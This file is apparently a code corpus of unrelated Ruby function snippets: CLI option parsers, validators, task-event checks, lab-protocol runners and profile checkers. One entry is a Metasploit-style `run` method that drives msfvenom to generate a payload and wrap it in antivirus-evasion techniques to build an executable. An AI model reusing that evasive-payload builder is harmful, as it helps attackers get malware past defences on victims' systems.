"def main\n OptionParser.new do |opts|\n opts.banner = 'Usage: xcode_tool.rb [options]'\n opts.on('-d', '--XCodeCPP.xcodeProjectDir [dir]',\n 'XCode project directory (required)') do |xcode_project_dir|\n @xcode_project_dir = xcode_project_dir\n end\n opts.on('-t', '--XCodeCPP.target [target]',\n 'Assume target to match the .xcodeproj name. (required)') do |target|\n @target_name = target\n end\n opts.on('-f', '--XCodeCPP.frameworks [frameworks]',\n 'Paths to the custom frameworks. (required)') do |frameworks|\n @frameworks = frameworks.split(\",\")\n end\n opts.on('-e', '--XCodeCPP.entitlement [entitlement_path]',\n 'Path to entitlements (optional)') do |entitlement_path|\n @entitlement_path = entitlement_path\n end\n opts.on('-i', '--XCodeCPP.include [include_path]',\n 'Path to additional include files (optional)') do |include_path|\n @include_path = include_path\n end\n end.parse!\n\n raise OptionParser::MissingArgument,'-d' if @xcode_project_dir.nil?\n raise OptionParser::MissingArgument,'-t' if @target_name.nil?\n raise OptionParser::MissingArgument,'-f' if @frameworks.nil?\n\n project_path = \"#@xcode_project_dir/integration_test.xcodeproj\"\n @project = Xcodeproj::Project.open(project_path)\n for t in @project.targets\n if t.name == @target_name\n @target = t\n puts \"Find target #@target\"\n break\n end \n end\n\n # Examine components rather than substrings to minimize false positives.\n # Note: this is not ideal. This tool should not be responsible for figuring\n # out which project it's modifying. That responsibility should belong to\n # the Python tool invoking this.\n path_components = project_path.split('/')\n if path_components.include?('FirebaseAuth')\n make_changes_for_auth\n elsif path_components.include?('FirebaseMessaging')\n make_changes_for_messaging\n elsif path_components.include?('FirebaseDynamicLinks')\n make_changes_for_dynamiclinks\n end\n\n framework_dir = \"#@xcode_project_dir/Frameworks\"\n set_build_setting('FRAMEWORK_SEARCH_PATHS', ['${inherited}', framework_dir])\n if !@include_path.nil?\n append_to_build_setting('HEADER_SEARCH_PATHS', @include_path)\n end\n\n @frameworks.each do |framework|\n add_custom_framework(framework)\n end\n\n # Bitcode is unnecessary, as we are not submitting these to the Apple store.\n # Disabling bitcode significantly speeds up builds.\n set_build_setting('ENABLE_BITCODE', 'NO')\n\n @project.save\nend",
"def set_check_process(opts)\n opts = check_params(opts,[:proc_info])\n super(opts)\n end",
"def _entry_2_validatecommand(*args)\n\n end",
"def run\n if parsed_options? && arguments_valid? \n puts \"Start at #{DateTime.now}\" if @options.verbose\n output_options if @options.verbose # [Optional]\n process_arguments\n # add parameters\n args = {}\n # TODO: use correct syntax for set\n args[:verbose] = @options.verbose if @options.verbose\n args[:input] = @options.input if @options.input\n args[:output] = @options.output if @options.output\n args[:map_name] = @options.map_name if @options.map_name\n args[:not_installed] = @options.cwd if @options.cwd\n \n program = Guy.new args\n program.work\n puts \"Finished at #{DateTime.now}\" if @options.verbose\n else\n output_usage\n end \n end",
"def run\n\t\tif parsed_options? && arguments_valid?\n\t\t\toutput_options if @options[:verbose]\n\t\t\toutput_arguments if @options[:verbose]\n\t\t\tprocess_arguments\n\t\t\tprocess_command\n\t\telse\n\t\t\toutput_usage\n\t\tend\n\tend",
"def _entry_4_validatecommand(*args)\n\n end",
"def programChecker(cmd)\n if which(cmd).nil?\n abort(\"EXITING: Please install #{cmd} before continuing\")\n end\nend",
"def create\n @tool = Tool.new(tool_params)\n @tool_fetch = GithubManager::ToolFetcher.call @tool\n\n respond_to do |format|\n if @tool_fetch.success\n @tool.json_spec = @tool_fetch.json_raw\n if @tool.save\n format.html { redirect_to @tool, notice: 'Tool was successfully created.' }\n format.json { render :show, status: :created, location: @tool }\n end\n elsif @tool_fetch.json_invalid\n @tool.errors.add :json_spec, :invalid, message: \"#{@tool_fetch.path} format is invalid\"\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @tool.errors, status: :unprocessable_entity }\n else\n @tool.errors.add :json_spec, :invalid, message: \"#{@tool_fetch.path} failed to download\"\n format.html { render :new, status: :internal_server_error }\n format.json { render json: @tool.errors, status: :internal_server_error }\n end\n end\n end",
"def verify\n verify_commands if commands.any?\n end",
"def usage\n puts \"\\nUsage: #{$PROGRAM_NAME} operation [option1] [option2]\\n\"\n puts \"\\n\\toperations: peers|replications|testfailover[or test]|testcleanup[or cleanuptest]|failover[or recovery]\"\n puts \"\\n\\te.g. #{$PROGRAM_NAME} peers\"\n puts \"\\te.g. #{$PROGRAM_NAME} replications ALL\"\n puts \"\\te.g. #{$PROGRAM_NAME} replications <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} testfailover [or test] <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} testfailover [or test] ALL\"\n puts \"\\te.g. #{$PROGRAM_NAME} testcleanup [or cleanuptest] <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} testcleanup [or cleanuptest] cleanuptest ALL\"\n puts \"\\te.g. #{$PROGRAM_NAME} failover [or recovery] <VM name>\"\n puts \"\\te.g. #{$PROGRAM_NAME} failover [or recovery] recovery ALL\"\n puts \"\\n\"\n \nend",
"def run\n if parsed_options? && arguments_valid? \n process_arguments \n process_command\n else\n output_options\n end\n end",
"def test_print_usage\n fr = FileReader.new\n assert_output(\"Usage: ruby verifier.rb <name_of_file>\\n\"\\\n \"\\tname_of_file = name of file to verify\\n\") { fr.print_usage }\n end",
"def usage\n abort \"usage: script/geocoder_test environment <non-batch>\"\nend",
"def run_check\n check_for_default_routes\n check_for_action_globs\n check_for_cve_2014_0130\n end",
"def show_usage_and_exit\r\n puts 'Usage:', 'verifier.rb *filename* file should be a blockchain.txt file'\r\n exit 1\r\nend",
"def tool\n return @tool if @tool\n\n tools.each do |k, v|\n next unless command? v\n return @tool = k\n end\n @tool\n end",
"def quick_verify!\n quick_verify or raise InvalidPackage, explain_error\n end",
"def main\n\n\n operations.running.retrieve interactive: false\n save_user operations\n debug_setup(operations) if debug\n \n if KIT_NAME == \"uw kit\"\n if debug\n labels = \"ABCDEF\".split('')\n operations.each.with_index do |op, i|\n op.input(INPUT).item.associate(SAMPLE_KEY, labels[i]) \n op.input(INPUT).item.associate(COMPONENT_KEY, \"\") \n end\n end\n end\n \n save_temporary_input_values(operations, INPUT)\n operations.each do |op|\n op.temporary[:pack_hash] = PACK_HASH\n end\n save_temporary_output_values(operations)\n \n # reassign labels to sample numbers if uw kit\n if KIT_NAME == \"uw kit\"\n operations.each do |op|\n op.temporary[:output_sample] = {\"A\"=>1, \"B\"=>2}[op.temporary[:output_sample]]\n end \n end\n \n run_checks operations\n if KIT_NAME == \"uw kit\"\n uw_kit_introduction operations.running\n else\n kenya_kit_introduction operations.running\n end\n area_preparation \"pre-PCR\", MATERIALS, POST_PCR\n get_pcr_packages operations.running\n open_pcr_packages operations.running\n debug_table operations.running\n check_for_tube_defects sorted_ops.running\n # nuttada thaw\n # nuttada needs vortex + centrigure\n centrifuge_samples sorted_ops.running\n resuspend_pcr_mix sorted_ops.running\n add_template_to_master_mix sorted_ops.running\n cleanup sorted_ops\n start_thermocycler sorted_ops.running\n conclusion sorted_ops\n return {}\n end",
"def check_call_validity # :nodoc:\n begin\n super\n rescue UnreachableEvent\n end\n\n if task.failed_to_start?\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{plan.engine.propagation_sources.to_a} but the task has failed to start: #{task.failure_reason}\"\n elsif task.event(:stop).happened?\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{plan.engine.propagation_sources.to_a} but the task has finished. Task has been terminated by #{task.event(:stop).history.first.sources}.\"\n elsif task.finished? && !terminal?\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{plan.engine.propagation_sources.to_a} but the task has finished. Task has been terminated by #{task.event(:stop).history.first.sources}.\"\n elsif task.pending? && symbol != :start\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{plan.engine.propagation_sources.to_a} but the task has never been started\"\n elsif task.running? && symbol == :start\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{plan.engine.propagation_sources.to_a} but the task is already running. Task has been started by #{task.event(:start).history.first.sources}.\"\n end\n\n \trescue EventNotExecutable => e\n\t refine_call_exception(e)\n\tend",
"def check_call_validity # :nodoc:\n begin\n super\n rescue UnreachableEvent\n end\n\n if task.failed_to_start?\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{execution_engine.propagation_sources.to_a} but the task has failed to start: #{task.failure_reason}\"\n elsif task.event(:stop).emitted?\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{execution_engine.propagation_sources.to_a} but the task has finished. Task has been terminated by #{task.event(:stop).history.first.sources}.\"\n elsif task.finished? && !terminal?\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{execution_engine.propagation_sources.to_a} but the task has finished. Task has been terminated by #{task.event(:stop).history.first.sources}.\"\n elsif task.pending? && symbol != :start\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{execution_engine.propagation_sources.to_a} but the task has never been started\"\n elsif task.running? && symbol == :start\n raise CommandFailed.new(nil, self), \n\t\t \"#{symbol}! called by #{execution_engine.propagation_sources.to_a} but the task is already running. Task has been started by #{task.event(:start).history.first.sources}.\"\n end\n\n \trescue EventNotExecutable => e\n\t refine_call_exception(e)\n\tend",
"def execute\n \t@checkup = {}\n \tServices::Slog.debug({:message => \"Processing agent #{identifier}\", :module => \"Checkup\", :task => \"agent\", :extra => {:agent => identifier, :publisher => publisher}})\n\n \tcase publisher\n \twhen 'sql'\n \t\tbegin\n \t\t\t@d = Services::SQLDetector.new(identifier)\n \t\trescue Exception => e\n \t\t\tServices::Slog.exception e\n \t\t\t@response = {:status => 400, :error => e}\n \t\tend\n \twhen 'csv'\n \t\tbegin\n \t\t\t@d = Services::CSVDetector.new(identifier)\n \t\trescue Exception => e\n \t\t\tServices::Slog.exception e\n \t\t\t@response = {:status => 400, :error => e}\n \t\tend\n \twhen 'xml'\n \t\tbegin\n \t\t\t@d = Services::XMLDetector.new(identifier)\n \t\trescue Exception => e\n \t\t\tServices::Slog.exception e\n \t\t\t@response = {:status => 400, :error => e}\n \t\tend\n \twhen 'json'\n \t\tbegin\n \t\t\t@d = Services::JSONDetector.new(identifier)\n \t\trescue Exception => e\n \t\t\tServices::Slog.exception e\n \t\t\t@response = {:status => 400, :error => e}\n \t\tend\n \tend\n\n\n # Start checkup\n begin\n \tunless content.nil? then\n \t\t@d.content = content\n \tend\n \t@checkup = @d.checkup\n rescue Exception => e\n \tServices::Slog.exception e\n end\n\n\n\n # Start detection\n begin\n \t@d.objects.each do |object|\n \t\t@d.detect object\n \tend\n rescue Exception => e\n \tServices::Slog.exception e\n end\n\n begin\n \tif @checkup[:status] == 100 then\n \t\tServices::Slog.info({:message => \"Starting integrations processing\", :module => \"Checkup\", :task => \"integrations\", :extra => {:agent => identifier, :payload => @checkup[:payload].size}})\n \t\tprocess @checkup\n \telse\n \tend\n rescue Exception => e\n \tServices::Slog.exception e\n end\n response = {:status => @checkup[:status], :message => \"[i2x][Checkup][execute] All OK.\"} \n end",
"def validate_check(check)\n validate_check_name(check)\n validate_check_execution(check)\n validate_check_source(check) if check[:source]\n validate_check_scheduling(check)\n validate_check_proxy_requests(check) if check[:proxy_requests]\n validate_check_handling(check)\n validate_check_ttl(check) if check[:ttl]\n validate_check_aggregate(check)\n validate_check_flap_detection(check)\n validate_check_hooks(check) if check[:hooks]\n validate_check_truncate_output(check)\n validate_check_subdue(check) if check[:subdue]\n end",
"def check(*args)\n process_using(*args.unshift(:check))\n end",
"def main\n operations.each do |op|\n op.temporary[:pack_hash] = PACK_HASH\n end\n save_user operations\n operations.running.retrieve interactive: false\n debug_setup operations\n save_temporary_input_values(operations, INPUT)\n save_temporary_output_values(operations)\n introduction operations.running\n area_preparation POST_PCR, MATERIALS, PRE_PCR\n get_detection_packages operations.running\n open_detection_packages operations.running\n rehydrate_stop_solution sorted_ops.running\n wait_for_pcr sorted_ops.running\n stop_ligation_product sorted_ops.running\n # short_timer\n rehydrate_gold_solution sorted_ops.running\n display_detection_strip_diagram\n add_ligation_product_to_strips sorted_ops.running\n add_gold_solution sorted_ops.running\n read_from_scanner sorted_ops.running\n # if KIT_NAME == \"uw kit\"\n # run_image_analysis operations.running \n # end\n cleanup sorted_ops\n conclusion sorted_ops\n return {\"Ok\" => 1}\n end",
"def run\n # Change the working directory to the directory of this script.\n Dir.chdir(File.dirname(__FILE__)) \n\n # if LIST_TECHNIQUES is true, just output available evasion techniques.\n if datastore['LIST_TECHNIQUES'] == true\n print_available_techniques()\n else\n payload = datastore['PAYLOAD']\n payload_options = datastore['PAYLOAD_OPTIONS']\n output_directory = datastore['OUTPUT_DIRECTORY']\n executable_name = datastore['EXECUTABLE_NAME']\n evasion_stack = datastore['EVASION_STACK']\n msfvenom_path = datastore['MSFVENOM_PATH']\n\n if payload == nil\n print_error(\"PAYLOAD must be set.\")\n return \n end\n if output_directory == nil \n print_error(\"OUTPUT_DIRECTORY must be set.\")\n return\n end\n if executable_name == nil \n print_error(\"EXECUTABLE_NAME must be set.\") \n return\n end\n if msfvenom_path == \"\"\n # Guess at path to msfvenom\n msfvenom_path = Dir.pwd[0..(Dir.pwd.index(\"pro\")+3)]+\"msf3/msfvenom\"\n print_status(\"MSFVENOM_PATH not specified. Hoping msfvenom can be found at \"+msfvenom_path+\".\")\n end\n\n binary_generated = generate_binary(msfvenom_path, payload, payload_options)\n if binary_generated\n print_status(\"Payload binary generated successfully.\")\n print_status(\"Generating evasive source from generated binary.\")\n\n generate_evasive_source(evasion_stack)\n\n executable_generated = generate_executable(output_directory+\"/\"+executable_name)\n\n if executable_generated\n print_status(\"Executable successfully generated.\")\n else\n print_error(\"Unable to generate executable.\")\n end\n else\n print_error(\"Payload generation with msfvenom failed.\")\n end\n\n print_status(\"Cleaning up temporary files.\")\n\n if File.exist?('tmp/bin'+self.uuid+'.c')\n File.delete('tmp/bin'+self.uuid+'.c')\n end\n if File.exist?('tmp/evasive'+self.uuid+'.c')\n File.delete('tmp/evasive'+self.uuid+'.c')\n end\n\n end\n end",
"def _entry_6_validatecommand(*args)\n\n end",
"def testNominal\n executeProcess(\n [\n '--masterticket', '123',\n '--slaveticket', '456'\n ]\n ) do |iError, iSlaveActions|\n assert_equal(\n {\n Tools::TicketTracker => {\n Actions::Ticket_RejectDuplicate => [\n [ '123', '456' ]\n ]\n }\n },\n iSlaveActions\n )\n end\n end",
"def initialize(argv = [])\n @debug = $DEBUG\n @verbose = $VERBOSE\n @version_requested = false\n\n opt = OptionParser.new\n opt.banner = 'Usage: peeek [switches] [--] [programfile] [arguments]'\n opt.summary_indent = ' ' * 2\n opt.summary_width = 15\n\n @working_directory = nil\n\n opt.on('-Cdirectory', 'cd to directory before executing your script') do |directory|\n @working_directory = directory\n end\n\n opt.on('-d', '--debug', 'set debugging flags (set $DEBUG to true)') do\n @debug = true\n @verbose = verbose_by(VERBOSE)\n end\n\n commands = []\n\n opt.on(\"-e 'command'\", \"one line of script. Several -e's allowed. Omit [programfile]\") do |command|\n commands << command\n end\n\n if self.class.encoding_options_enabled?\n @external_encoding = Encoding.default_external\n @internal_encoding = Encoding.default_internal\n\n opt.on('-Eex[:in]', '--encoding=ex[:in]', 'specify the default external and internal character encodings') do |encodings|\n external_encoding, internal_encoding = parse_encodings(encodings)\n @external_encoding = external_encoding if external_encoding\n @internal_encoding = internal_encoding\n end\n end\n\n @hook_targets = []\n\n opt.on('-Hstring', 'object and method name that is target of hook') do |string|\n hook_spec = Hook::Specifier.parse(string)\n @hook_targets << hook_spec unless @hook_targets.include?(hook_spec)\n end\n\n @directories_to_load = []\n\n opt.on('-Idirectory', 'specify $LOAD_PATH directory (may be used more than once)') do |directory|\n @directories_to_load << directory unless @directories_to_load.include?(directory)\n end\n\n @required_libraries = []\n\n opt.on('-rlibrary', 'require the library before executing your script') do |library|\n @required_libraries << library unless @required_libraries.include?(library)\n end\n\n opt.on('-v', 'print version number, then turn on verbose mode') do\n @version_requested = true\n @verbose = verbose_by(VERBOSE)\n end\n\n opt.on('-w', '--verbose', 'turn warnings on for your script') do\n @verbose = verbose_by(VERBOSE)\n end\n\n level_strings = [:SILENCE, :MEDIUM, :VERBOSE].map do |const_name|\n \"#{self.class.const_get(const_name)}=#{const_name.to_s.downcase}\"\n end\n\n opt.on(\"-W[level=#{VERBOSE}]\", \"set warning level; #{level_strings * ', '}\", Integer) do |level|\n @verbose = verbose_by(level || VERBOSE)\n end\n\n @continued = true\n\n opt.on('--version', 'print the version') do\n @version_requested = true\n @continued = false\n end\n\n opt.on_tail('-h', '--help', 'show this message') do\n raise Help, opt.help\n end\n\n @arguments = opt.order(argv)\n @command = commands * '; '\n end",
"def check # rubocop:disable Metrics/AbcSize, Metrics/CyclomaticComplexity, Metrics/PerceivedComplexity, Metrics/MethodLength\n # initial values for response object\n result = {\n summary: {\n valid: false,\n timestamp: Time.now.iso8601,\n location: @target,\n profile: nil,\n controls: 0,\n },\n errors: [],\n warnings: [],\n }\n\n entry = lambda { |file, line, column, control, msg|\n {\n file: file,\n line: line,\n column: column,\n control_id: control,\n msg: msg,\n }\n }\n\n warn = lambda { |file, line, column, control, msg|\n @logger.warn(msg)\n result[:warnings].push(entry.call(file, line, column, control, msg))\n }\n\n error = lambda { |file, line, column, control, msg|\n @logger.error(msg)\n result[:errors].push(entry.call(file, line, column, control, msg))\n }\n\n @logger.info \"Checking profile in #{@target}\"\n meta_path = @source_reader.target.abs_path(@source_reader.metadata.ref)\n\n # verify metadata\n m_errors, m_warnings = metadata.valid\n m_errors.each { |msg| error.call(meta_path, 0, 0, nil, msg) }\n m_warnings.each { |msg| warn.call(meta_path, 0, 0, nil, msg) }\n m_unsupported = metadata.unsupported\n m_unsupported.each { |u| warn.call(meta_path, 0, 0, nil, \"doesn't support: #{u}\") }\n @logger.info \"Metadata OK.\" if m_errors.empty? && m_unsupported.empty?\n\n # only run the vendor check if the legacy profile-path is not used as argument\n if @legacy_profile_path == false\n # verify that a lockfile is present if we have dependencies\n unless metadata.dependencies.empty?\n error.call(meta_path, 0, 0, nil, \"Your profile needs to be vendored with `inspec vendor`.\") unless lockfile_exists?\n end\n\n if lockfile_exists?\n # verify if metadata and lockfile are out of sync\n if lockfile.deps.size != metadata.dependencies.size\n error.call(meta_path, 0, 0, nil, \"inspec.yml and inspec.lock are out-of-sync. Please re-vendor with `inspec vendor`.\")\n end\n\n # verify if metadata and lockfile have the same dependency names\n metadata.dependencies.each do |dep|\n # Skip if the dependency does not specify a name\n next if dep[:name].nil?\n\n # TODO: should we also verify that the soure is the same?\n unless lockfile.deps.map { |x| x[:name] }.include? dep[:name]\n error.call(meta_path, 0, 0, nil, \"Cannot find #{dep[:name]} in lockfile. Please re-vendor with `inspec vendor`.\")\n end\n end\n end\n end\n\n # extract profile name\n result[:summary][:profile] = metadata.params[:name]\n\n count = controls_count\n result[:summary][:controls] = count\n if count == 0\n warn.call(nil, nil, nil, nil, \"No controls or tests were defined.\")\n else\n @logger.info(\"Found #{count} controls.\")\n end\n\n # iterate over hash of groups\n params[:controls].each do |id, control|\n sfile = control[:source_location][:ref]\n sline = control[:source_location][:line]\n error.call(sfile, sline, nil, id, \"Avoid controls with empty IDs\") if id.nil? || id.empty?\n next if id.start_with? \"(generated \"\n\n warn.call(sfile, sline, nil, id, \"Control #{id} has no title\") if control[:title].to_s.empty?\n warn.call(sfile, sline, nil, id, \"Control #{id} has no descriptions\") if control[:descriptions][:default].to_s.empty?\n warn.call(sfile, sline, nil, id, \"Control #{id} has impact > 1.0\") if control[:impact].to_f > 1.0\n warn.call(sfile, sline, nil, id, \"Control #{id} has impact < 0.0\") if control[:impact].to_f < 0.0\n warn.call(sfile, sline, nil, id, \"Control #{id} has no tests defined\") if control[:checks].nil? || control[:checks].empty?\n end\n\n # profile is valid if we could not find any error\n result[:summary][:valid] = result[:errors].empty?\n\n @logger.info \"Control definitions OK.\" if result[:warnings].empty?\n result\n end",
"def toolpath(toolname, toolbox_tools=@toolbox_tools, tool_path_lookup=@tool_path_lookup) \n\t#return toolname.any? { |w| toolname =~ /#{w}/ } ? {raise \"toolpath does not exist for #{toolname}\"} : @tool_path_lookup[toolname.to_s]\n\t\n\t#puts \"toolpath --------\"\n\t#puts toolbox_tools\n\tx = toolbox_tools.any? { |w| toolname =~ /#{w}/ } ? tool_path_lookup[toolname.to_s] : nil\n\tif x.nil?\n\t\tputs toolbox_tools\n\t\traise \"toolpath does not exist for #{toolname}\"\t\t\n\telse\n\t\treturn x\n\tend\nend",
"def verify_options_hook; end",
"def tool\n name.split('_')[0]\n end",
"def run_stage_one \n\t# directory tools is needed by stage on, be sure it does not exist yet\n\tif File.exists?(\"/tools\")\n\t\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" error > EXIT! Directory or softlink /tools already exists\"\n\t\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" error > Too risky for me to continue. Remove /tools, then\"\n\t\tputs sprintf(\"%015.4f\", Time.now.to_f) + \" error > try again.\"\n\t\t$stdout.flush\n\t\traise \"SoftlinkAlreadyThere\"\n\tend\n\t# File.symlink(@builddir + \"/stage01/chroot/tools\", \"/tools\")\n\tsystem(\"mkdir /tools\")\n\tsystem(\"mkdir -p \" + @builddir + \"/stage01/chroot/tools\")\n\tsystem(\"mount -o bind \" + @builddir + \"/stage01/chroot/tools /tools\")\n\t[ \"/stage01\", \"/stage01/build\",\"/stage01/chroot\",\"/stage01/chroot/tools\", \"/tmp\" ].each { |d|\n\t\tunless File.exists?(@builddir + d)\n\t\t\tDir.mkdir(@builddir + d)\n\t\tend\n\t}\n\t# Stage 01 abfrühstücken\n\t# Alle Scripte in stage01 suchen\n\tstage_one_objs = get_stage_one_objs\n\t# Download first\n\tstage_one_objs.each { |i| i.download }\n\t# Unpack\n\tstage_one_objs.each { |i|\n\t\ti.unpack\n\t\t### Dir.chdir(@workdir)\n\t\ti.patch(@log_each)\n\t\t### Dir.chdir(@workdir)\n\t\ti.build(@log_each)\n\t\t### Dir.chdir(@workdir)\n\t\ti.install(@log_each)\n\t\t### Dir.chdir(@workdir)\n\t\ti.filecheck\n\t\t### Dir.chdir(@workdir)\n\t}\n\tsystem(\"umount /tools\")\nend",
"def prepare_for_tests( runs, collectors )\n if Maadi::Expert::Expert::is_expert?( @expert ) and Maadi::Organizer::Organizer::is_organizer?( @organizer )\n if @organizer.works_with?( @expert.domain )\n Maadi::post_message(:Info, 'Expert and Organizer are compatible')\n else\n Maadi::post_message(:Warn, \"Expert (#{@expert.domain}) is NOT compatible with Organizer (#{@organizer.supported_domains.join(', ')})\")\n return false\n end\n\n unless @expert.is_ready?\n @expert.prepare\n end\n\n unless @organizer.is_ready?\n @organizer.prepare\n end\n\n if @expert.is_ready? && @organizer.is_ready?\n collectors.each do |collector|\n collector.log_options( @expert )\n collector.log_options( @organizer )\n end\n\n parameters = @expert.parameters( 'all' )\n ready = @organizer.available_parameters( parameters, runs )\n\n if ready\n Maadi::post_message(:More, 'Generator is ready')\n return true\n end\n else\n Maadi::post_message(:Warn, 'Expert or Organizer NOT ready')\n end\n else\n Maadi::post_message(:Warn, 'Expert or Organizer NOT correct type/initialized')\n end\n\n return false\n end",
"def toys_load_tool(cmd, cli: nil, &block)\n cli ||= toys_cli\n cmd = ::Shellwords.split(cmd) if cmd.is_a?(::String)\n cli.load_tool(*cmd, &block)\n end",
"def execute\n @checkup = {}\n\n case @publisher\n when 'sql'\n begin\n @d = I2X::SQLDetector.new(self)\n rescue Exception => e\n @response = {:status => 400, :error => e}\n I2X::Config.log.error(self.class.name) {\"#{e}\"}\n end\n when 'csv'\n begin\n @d = I2X::CSVDetector.new(self)\n rescue Exception => e\n @response = {:status => 400, :error => e}\n I2X::Config.log.error(self.class.name) {\"#{e}\"}\n end\n when 'xml'\n begin\n @d = I2X::XMLDetector.new(self)\n rescue Exception => e\n @response = {:status => 400, :error => e}\n I2X::Config.log.error(self.class.name) {\"#{e}\"}\n end\n when 'json'\n begin\n @d = I2X::JSONDetector.new(self)\n rescue Exception => e\n @response = {:status => 400, :error => e}\n I2X::Config.log.error(self.class.name) {\"#{e}\"}\n end\n end\n\n\n # Start checkup\n begin\n unless content.nil? then\n @d.content = content\n end\n @checkup = @d.checkup\n rescue Exception => e\n I2X::Config.log.error(self.class.name) {\"Checkup error: #{e}\"}\n end\n\n # Start detection\n begin\n @d.objects.each do |object|\n @d.detect object\n end\n\n @checkup[:templates] = @d.templates.uniq\n rescue Exception => e\n I2X::Config.log.error(self.class.name) {\"Detection error: #{e}\"}\n end\n\n begin\n if @checkup[:status] == 100 then\n process @checkup\n end\n rescue Exception => e\n I2X::Config.log.error(self.class.name) {\"Process error: #{e}\"}\n end\n response = {:status => @checkup[:status], :message => \"[i2x][Checkup][execute] All OK.\"} \n end",
"def manipulate\n\n procname = @commandline.argument('first') || ''\n filename = @commandline.argument('second') || ''\n\n procname = Kpse.found(procname)\n\n if procname.empty? || ! FileTest.file?(procname) then\n report('provide valid manipulator file')\n elsif filename.empty? || ! FileTest.file?(filename) then\n report('provide valid resource log file')\n else\n begin\n data = REXML::Document.new(File.new(filename))\n rescue\n report('provide valid resource log file (xml error)')\n return\n end\n begin\n proc = REXML::Document.new(File.new(procname))\n rescue\n report('provide valid manipulator file (xml error)')\n return\n end\n report(\"manipulator file: #{procname}\")\n report(\"resourcelog file: #{filename}\")\n begin\n nofrecords, nofdone = 0, 0\n REXML::XPath.each(data.root,\"/rl:library/rl:usage\") do |usage|\n nofrecords += 1\n variables = Hash.new\n usage.elements.each do |e|\n variables[e.name] = e.text.to_s\n end\n report(\"processing record #{nofrecords} (#{variables['file'] || 'noname'}: #{variables.size} entries)\")\n if conversion = variables['conversion'] then\n report(\"testing for conversion #{conversion}\")\n if suffix = variables['suffix'] then\n suffix.downcase!\n if ! suffix.empty? && variables['file'] && variables['file'] !~ /\\.([a-z]+)$/i then\n variables['file'] += \".#{suffix}\"\n end\n if file = variables['file'] then\n report(\"conversion #{conversion} for suffix #{suffix} for file #{file}\")\n else\n report(\"conversion #{conversion} for suffix #{suffix}\")\n end\n pattern = \"@name='#{conversion}' and @suffix='#{suffix}'\"\n if steps = REXML::XPath.first(proc.root,\"/rl:manipulators/rl:manipulator[#{pattern}]\") then\n localsteps = steps.deep_clone\n ['rl:old','rl:new'].each do |tag|\n REXML::XPath.each(localsteps,tag) do |extras|\n REXML::XPath.each(extras,\"rl:value\") do |value|\n if name = value.attributes['name'] then\n substititute(value,variables[name.to_s] || '')\n end\n end\n end\n end\n old = REXML::XPath.first(localsteps,\"rl:old\")\n new = REXML::XPath.first(localsteps,\"rl:new\")\n if old && new then\n old, new = justtext(old.to_s), justtext(new.to_s)\n variables['old'], variables['new'] = old, new\n begin\n [old,new].each do |d|\n File.makedirs(File.dirname(d))\n end\n rescue\n report(\"error during path creation\")\n end\n report(\"old file #{old}\")\n report(\"new file #{new}\")\n level = if File.needsupdate(old,new) then 2 else 0 end\n else\n level = 1\n end\n if level>0 then\n REXML::XPath.each(localsteps,\"rl:step\") do |command|\n REXML::XPath.each(command,\"rl:old\") do |value|\n replace(value,old)\n end\n REXML::XPath.each(command,\"rl:new\") do |value|\n replace(value,new)\n end\n REXML::XPath.each(command,\"rl:value\") do |value|\n if name = value.attributes['name'] then\n substititute(value,variables[name.to_s])\n end\n end\n str = justtext(command.to_s)\n # str.gsub!(/(\\.\\/)+/io, '')\n report(\"command #{str}\")\n System.run(str) unless @commandline.option('test')\n report(\"synchronizing #{old} and #{new}\")\n File.syncmtimes(old,new) if level > 1\n nofdone += 1\n end\n else\n report(\"no need for a manipulation\")\n end\n else\n report(\"no manipulator found\")\n end\n else\n report(\"no suffix specified\")\n end\n else\n report(\"no conversion needed\")\n end\n end\n if nofdone > 0 then\n jobname = filename.gsub(/\\.(.*?)$/,'') # not 'tuo' here\n tuoname = jobname + '.tuo'\n if FileTest.file?(tuoname) && (f = File.open(tuoname,'a')) then\n f.puts(\"%\\n% number of rlx manipulations: #{nofdone}\\n\")\n f.close\n end\n end\n rescue\n report(\"error in manipulating files: #{$!}\")\n end\n begin\n logname = \"#{filename}.log\"\n File.delete(logname) if FileTest.file?(logname)\n File.copy(filename,logname)\n rescue\n end\n end\n\n end",
"def perform_checks\n # tests & checks are only meaningful if the input can be varied\n return unless @input_can_change\n @checks.each_with_index do |check, i|\n output, time, error = run_with_benchmark(check[:input])\n @checks[i].merge!({ output: output, time: time, error: error })\n end\n @checks\n end",
"def _entry_1_validatecommand(*args)\n\n end",
"def _entry_1_validatecommand(*args)\n\n end",
"def validate_tool_index(tool_index)\n if tool_index < 0 || tool_index > @tools_list.count - 1\n puts \"Incorrect tool number. Entered tool number should be between 1 and #{@tools_list.count}.\".red\n false\n else\n true\n end\n end",
"def run!\n @opts = slop_parse\n @skip = @opts[:skip] || []\n\n display_version if @opts[:v]\n run_checks\n end",
"def run\n # @file_to_validate is an array with the content_at and\n # subtitle/subtitle_tagging_import files\n content_at_file, subtitle_import_file = @file_to_validate\n errors, warnings = [], []\n\n catch(:abandon) do\n outcome = contents_match?(\n content_at_file.read,\n subtitle_import_file.read\n )\n\n if outcome.fail?\n errors += outcome.errors\n warnings += outcome.warnings\n #throw :abandon\n end\n end\n\n log_and_report_validation_step(errors, warnings)\n end",
"def check ; true ; end",
"def exec; end",
"def exec; end",
